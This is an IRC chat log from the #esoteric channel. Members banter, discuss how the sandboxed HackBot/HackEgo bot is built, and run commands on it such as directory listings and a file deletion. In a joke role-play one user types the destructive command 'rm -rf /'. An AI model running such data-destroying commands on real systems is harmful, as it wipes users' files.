:Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :keep those two lovely bots up < 1268704454 0 :Guest31015!unknown@unknown.invalid PRIVMSG #esoteric :they are a charm < 1268704454 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Not in a crazy sandbox. ;) < 1268704461 0 :Guest31015!unknown@unknown.invalid PART #esoteric :? < 1268704803 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ah yes, we'll see you again, some anonymous Comcast person. < 1268705109 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :`run rm Guest_hacked < 1268705111 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1268705170 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Uh, I forget. Is HackEgo one of those 'please treat it nicely' bots, or one of those 'please try to break it' bots? < 1268705185 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: It's one of those "good luck breaking it" bots. < 1268705192 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fun < 1268705207 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Worst case scenario, Gregor has to revert to a previous revision. < 1268705212 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Gregor only makes those kinds of bots these days < 1268705215 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(it's version controlled) < 1268705313 0 :songhead95!~jay@c-71-232-230-180.hsd1.ma.comcast.net JOIN :#esoteric < 1268705318 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :Hello < 1268705326 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :I was just guest17* < 1268705338 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :`run ls < 1268705339 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ hack_gregor \ hello.txt \ help.txt \ huh \ netcat-0.7.1 \ netcat-0.7.1.tar.gz \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.22425 \ wunderbar_emporium \ wunderbar_emporium-3.tgz \ wunderbar_emporium-3.tgz.1 < 1268705340 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no way! < 1268705352 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :way! < 1268705365 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :_completely_ different number < 1268705373 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1268705387 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(31015) < 1268705406 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :I was the guest who pretended to be unix, than used unix, then played with the bots, then complimented the bots < 1268705460 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you don't need to tell us. we have means to get information... < 1268705464 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION cackles evilly
< 1268705477 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :aka join messages. < 1268705519 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :`run echo $HOME < 1268705520 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/home/hackbot < 1268705532 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :`run echo $HOME < 1268705534 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :/home/hackbot < 1268705544 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :`run ls /home < 1268705546 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :hackbot < 1268705553 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :`run ls /home < 1268705555 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :hackbot < 1268705559 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :`run ls / < 1268705560 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr < 1268705584 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :no root? < 1268705584 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :You can do that in private messages, btw. < 1268705590 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268705591 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268705659 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :I am an extreme irc noob < 1268705670 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :We've gathered that. < 1268705682 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1268705724 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Apparently "we've gathered that" is an insult < 1268705740 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :no I am just sad at my own noobishness < 1268705743 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :don't worry, we don't mind noobs < 1268705779 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :several of us may have been noobs at one time or another < 1268705830 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :I've been a noob since I started < 1268705842 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Others, such as myself, are the result of a stable time loop, and as a result began our existence with full knowledge of IRC attained from the future. < 1268705862 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :...do you die? < 1268705884 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :No, I travel back in time, which also reverses the aging process, and asserts my existence in the year 2002. < 1268705973 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :I want to be like you, if I master IRC and time travel, then travel back in time before I started IRC to teach myself IRC and time travel, will I begin the loop? < 1268705994 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :A time loop cannot be begun, it either exists or it does not. The past is already in the past, it cannot be changed. < 1268706030 0 :songhead95!unknown@unknown.invalid PRIVMSG #esoteric :aww man < 1268706081 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sorry! I didn't invent physics! < 1268706432 0 :Gracenotes!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268706997 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1268707178 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268708178 0 :songhead95!unknown@unknown.invalid QUIT :Quit: songhead95 < 1268708180 0 :songhead95!~jay@c-71-232-230-180.hsd1.ma.comcast.net JOIN :#esoteric < 1268708195 0 :songhead95!unknown@unknown.invalid QUIT :Client Quit < 1268709045 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, I think I'd like to pretend to be UNIX again. < 1268709064 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uname -a < 1268709083 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: well, Plash takes away the filesystem and replaces it with a fake filesystem, right? I want to see a fake Plash filesystem that acts just like a real one. < 1268709105 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Linux thay 2.6.30-2-amd64 #1 SMP Mon Dec 7 05:21:45 UTC 2009 x86_64 GNU/Linux < 1268709105 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :$ < 1268709140 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Plash doesn't "take away" the filesystem, it stands between the program and the real filesystem. Usually real parts of the filesystem are mapped directly into Plash. < 1268709174 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Okay then, one that gives no access to the real filesystem and instead gives access to a fake one that acts like a real one. < 1268709216 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Or I could just admit that I'm suffering from Demanding Something That Isn't What I Really Want Syndrome. < 1268709326 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I should examine how HackBot is implemented. < 1268709351 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And so, that thing I wanted to do to Hackiki, I might do to HackBot instead. :P < 1268709361 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :About how big is HackBot? Does it share any code with Hackiki? < 1268709912 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :HackBot shares no code with Hackiki. < 1268709925 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It's smaller than Hackiki, IIRC. < 1268709927 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :One sec. < 1268709972 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It's ~500 lines of C and shell. < 1268709976 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The C is purely IRC interaction. < 1268709999 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Ohnowait, there's also C to throttle guest programs. < 1268710005 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :But it's unnecessary. < 1268710057 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Basically, it's multibot (a very simple IRC bot) with some shell scripts that bind that to plash. < 1268710065 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The shell scripts are about 175 lines. < 1268710079 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Multibot is about 200 lines. < 1268710105 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So does HackBot do anything with repositories? < 1268710150 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, basic same idea has Hackiki, but all in shell. < 1268710286 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So there's a bit of functionality overlap but no code overlap. < 1268710287 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Wow, worst wording ever. < 1268710290 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268710298 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, basically same idea as Hackiki, but all in shell. < 1268710353 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess I should look at one or the other. < 1268710372 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Hackiki is more recent. < 1268710453 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: rm -rf / < 1268710478 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Permission denied < 1268710546 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's not fair! < 1268710612 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's very fair. < 1268710648 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but it discriminates against evil people! < 1268710898 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :No it doesn't. < 1268710904 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Evil people have the same rights as non-evil people. < 1268710915 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Just like how gay people have the same rights as straight people. < 1268710932 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but it prevents evil actions! < 1268710942 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :But it doesn't prevent evil people! < 1268710950 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, no discrimination. < 1268710963 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that would be like saying that gay people have the same right as anyone to have sex, as long as it is with the opposite sex < 1268710969 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Precisely! < 1268710986 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and that would _clearly_ be discrimination. < 1268711032 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If we said gay people are only allowed to have gay sex and straight people are only allowed to have straight sex, THAT would be discrimination. < 1268711062 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well i'm not asking for evil people to only be able to do evil actions here, am i? < 1268711073 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :after all that would make deception hard < 1268711079 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, no. < 1268711114 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268711872 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION ponders what he wants in this awesome nomic thing.
< 1268711884 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Agora < 1268711892 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the answer is always Agora < 1268711901 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Agora isn't even a codenomic! < 1268711948 0 :deschutron!~alex@219-90-166-62.ip.adam.com.au JOIN :#esoteric < 1268711950 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268711991 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268712885 0 :coppro!unknown@unknown.invalid NICK :SeanHunt < 1268712895 0 :SeanHunt!unknown@unknown.invalid NICK :coppro < 1268715515 0 :charlls!charlls@186.72.63.127 JOIN :#esoteric < 1268716203 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`run echo "My name is overloaded; I'll have to kick someone off" | sha256sum < 1268716204 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :2912b1f1f1301a0d4e14416e07d7a56bee0522e7b423cde610909f5191b9bd3e - < 1268716216 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`run echo -n "My name is overloaded; I'll have to kick someone off" | sha256sum < 1268716217 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :caaf3e65344624e7659aaf228f62f93faae680f71adc868a6f8da880388b12f9 - < 1268716663 0 :ssu!~ssu@c-24-17-110-44.hsd1.wa.comcast.net JOIN :#esoteric < 1268717885 0 :deschutron!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268717937 0 :ssu!unknown@unknown.invalid QUIT :Quit: Ex-Chat < 1268718000 0 :deschutron!~alex@115-166-19-150.ip.adam.com.au JOIN :#esoteric < 1268719171 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ffff < 1268719195 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :how the fuck is this guy a schoolteacher < 1268719633 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: ? < 1268719651 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :some guy on an open-source project I also work on < 1268719655 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I refuse to say we work together < 1268719656 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :because we don < 1268719658 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmm. < 1268719658 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :*don't < 1268719787 0 :oerjan!unknown@unknown.invalid QUIT :Quit: So does he give you too much homework? < 1268721744 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268724136 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268725023 0 :rodgort!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268725424 0 :rodgort!~rodgort@li14-39.members.linode.com JOIN :#esoteric < 1268725584 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268726359 0 :tombom!tombom@82.27.29.84 JOIN :#esoteric < 1268726361 0 :tombom!unknown@unknown.invalid QUIT :Changing host < 1268726361 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268726399 0 :clog!unknown@unknown.invalid QUIT :ended < 1268726400 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268726814 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1268726918 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268728022 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268728065 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268728968 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1268729369 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268729973 0 :MigoMipo!~migomipo@84-217-0-107.tn.glocalnet.net JOIN :#esoteric < 1268731386 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268734134 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1268734976 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries out coppro's patented conversational tactics
< 1268734982 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lol, i can't believe this dude! < 1268734994 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :hey, that's my intellectual property there < 1268734995 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i can't believe i just witnessed that... < 1268735025 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :sorry < 1268735482 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268735508 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I just enjoy venting my frustrations, excitements, and other things into this channel < 1268735595 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :also, apparently, going to be 4 hours before I wake up :/ < 1268735621 0 :tehz!~573bcf17@gateway/web/freenode/x-bijlezvshnxfpwmc JOIN :#esoteric < 1268735658 0 :tehz!unknown@unknown.invalid PRIVMSG #esoteric :not much going on here? < 1268735703 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :correct < 1268735711 0 :tehz!unknown@unknown.invalid PRIVMSG #esoteric :thought so. < 1268735723 0 :tehz!unknown@unknown.invalid PRIVMSG #esoteric :cya < 1268735725 0 :tehz!unknown@unknown.invalid QUIT :Client Quit < 1268736090 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268736124 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :venting frustrations is okay, i just like BULLYING PEOPLE. < 1268736138 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :gotta go hear this lecture thing now < 1268737107 0 :TehZ!~573bcf17@gateway/web/freenode/x-thcylqrmtutjlocg JOIN :#esoteric < 1268737113 0 :TehZ!unknown@unknown.invalid QUIT :Client Quit < 1268737133 0 :TehZ!~573bcf17@gateway/web/freenode/x-pyentnfkrjkkrvse JOIN :#esoteric < 1268737147 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :If you are bored, you could take a look at lolcode < 1268737151 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :its funny < 1268737241 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Im making a programming language with .:,;'"* as its only characters < 1268737257 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :a Object Oriented programming language < 1268737294 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :either 1: Much chatlag or 2: nobody's on < 1268737311 0 :TehZ!unknown@unknown.invalid QUIT :Client Quit < 1268737828 0 :ztirf4!~ztirf@HSI-KBW-109-192-075-211.hsi6.kabel-badenwuerttemberg.de JOIN :#esoteric < 1268738000 0 :TehZ!~573bcf17@gateway/web/freenode/x-gbqobflybhryfems JOIN :#esoteric < 1268738024 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :So, which languages have u ppl made? < 1268738035 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Lazy Bird < 1268738043 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :And the Love Machine 9000 < 1268738048 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :(also called NTCM) < 1268738056 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Checking them out < 1268738058 0 :TehZ!unknown@unknown.invalid QUIT :Client Quit < 1268738081 0 :TehZ!~573bcf17@gateway/web/freenode/x-gfgmjwupdnozitvk JOIN :#esoteric < 1268738091 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Cant connect to the wiki right now < 1268738115 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Well, i made Reversible-2D < 1268738125 0 :TehZ!unknown@unknown.invalid QUIT :Client Quit < 1268738142 0 :TehZ!~573bcf17@gateway/web/freenode/x-fiditwhtvjbxbrrz JOIN :#esoteric < 1268738150 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :right now, my browser is stupid < 1268738194 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Use mIRC < 1268738197 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Or something < 1268738213 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :I didnt see that one in google chrome plugin page < 1268738262 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :It is not a plugin < 1268738273 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Isnt it? Google searching < 1268738275 0 :TehZ!unknown@unknown.invalid QUIT :Client Quit < 1268738311 0 :TehZ!~573bcf17@gateway/web/freenode/x-sbcokkmlxcfwephi JOIN :#esoteric < 1268738315 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Found it, installing < 1268738316 0 :TehZ!unknown@unknown.invalid QUIT :Client Quit < 1268738526 0 :magari!~magari@208.42.233.196 JOIN :#esoteric < 1268738530 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION enters
< 1268738583 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Hello < 1268738605 0 :TehZ!~573bcf17@gateway/web/freenode/x-mvcvqbkuhtsbczkr JOIN :#esoteric < 1268738617 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Couldnt get mirc to work < 1268738628 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :any ideas for a programming language? < 1268738649 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Yeah < 1268738658 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :k, what? < 1268738684 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :chatlag? < 1268738698 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/wiki/Limp < 1268738703 0 :TehZ!unknown@unknown.invalid QUIT :Client Quit < 1268738711 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Never implemented it :3 < 1268738716 0 :TehZ!~573bcf17@gateway/web/freenode/x-jnijwmkonnbhgmvn JOIN :#esoteric < 1268738719 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Checking it out < 1268738721 0 :TehZ!unknown@unknown.invalid QUIT :Client Quit < 1268738802 0 :TehZ!~573bcf17@gateway/web/freenode/x-pyrdvzyoyeayeyqx JOIN :#esoteric < 1268738804 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :uhmm < 1268738821 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :i dont understand that language.... < 1268738888 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :It's just a bunch of functional languages < 1268738888 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :It is nearly as unreadable as my unfinished (and unpublished) language; DotsOO < 1268738921 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Uhm, do you live in europe or usa? < 1268738929 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Europe. < 1268738932 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :cauz this chatlag is irritating < 1268738938 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :im in europe too < 1268738974 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Either the server is slow, the server is in USA, or both. < 1268739019 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Do you feel like there is chatlag too? < 1268739046 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1268739055 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Really? < 1268739073 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :How do you know there's chatlag? < 1268739086 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :it takes a long time to get an answer < 1268739090 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :really long < 1268739102 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :It may be that I don't anszer right away < 1268739110 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :k < 1268739126 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :lets test it: I write Test, and you answer with Test, k? < 1268739151 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Test < 1268739160 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :irc clients have ping functions for a reason < 1268739175 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :im a little new to IRC < 1268739221 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :you ping by doing what? < 1268739241 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :depends on the client < 1268739242 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Right click < 1268739253 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Look at the menu < 1268739261 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :04:57 [ctcp!TehZ] PING 1268737056 202884 < 1268739261 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :04:57 CTCP PING reply from TehZ: 0.514 seconds < 1268739267 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric : /ping user < 1268739275 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :thats really quick < 1268739278 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :k < 1268739279 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :and I'm in the US < 1268739285 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268739287 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :my client is < 1268739294 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :my terminal is in afghanistan < 1268739312 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :omg < 1268739342 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :Europe -> afghanistan -> Usa -> afghanistan -> Europe? < 1268739435 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :maybe i should continue working on DotsOO < 1268739464 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :uh... < 1268739471 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1268739472 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :depends on the freenode server your connected to < 1268739480 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :maybe < 1268739489 0 :TehZ!unknown@unknown.invalid PRIVMSG #esoteric :cya < 1268739489 0 :magari!unknown@unknown.invalid PRIVMSG #esoteric :it does < 1268739493 0 :TehZ!unknown@unknown.invalid QUIT :Quit: Page closed < 1268739654 0 :magari!unknown@unknown.invalid QUIT :Quit: leaving < 1268739738 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1268739885 0 :comex!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268739900 0 :puzzlet!unknown@unknown.invalid QUIT :Changing host < 1268739900 0 :puzzlet!~puzzlet@wikipedia/PuzzletChung JOIN :#esoteric < 1268740137 0 :ztirf4!unknown@unknown.invalid QUIT :Quit: Nettalk6 - www.ntalk.de < 1268742915 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268744342 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268748200 0 :sebbu!unknown@unknown.invalid QUIT :Quit: reboot < 1268749944 0 :sebbu!~sebbu@ADijon-152-1-50-95.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268750137 0 :charlls!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268750797 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268751155 0 :deschutron!unknown@unknown.invalid PART #esoteric :? < 1268752870 0 :puzzlet!unknown@unknown.invalid QUIT :Quit: leaving < 1268753531 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268754408 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1268755125 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, another panorama soon, for this one I balanced the mobile phone on an armrest and rotated it around that point, result is that it is a fairly "boring" 180° panorama of a corridor. < 1268755207 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is resuming the laptop with the photos and hugin project on from sleep atm
< 1268755218 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Later < 1268756468 0 :charlls!~charlls@201.226.222.132 JOIN :#esoteric < 1268756509 0 :comex!comex@c-98-210-192-54.hsd1.ca.comcast.net JOIN :#esoteric < 1268757074 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268759795 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hang it by a thread from the ceiling! < 1268760743 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, what? the phone? < 1268760748 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268760757 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, the images are low quality anyway < 1268760794 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway, doing photometric optimisation atm < 1268760797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that might take a while < 1268761322 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268762262 0 :lereah_!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268762373 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :quick! < 1268762377 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :someone who knows about compsci! < 1268762381 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i need your assisstance! < 1268762480 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1268762524 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :augur: issue? < 1268762540 0 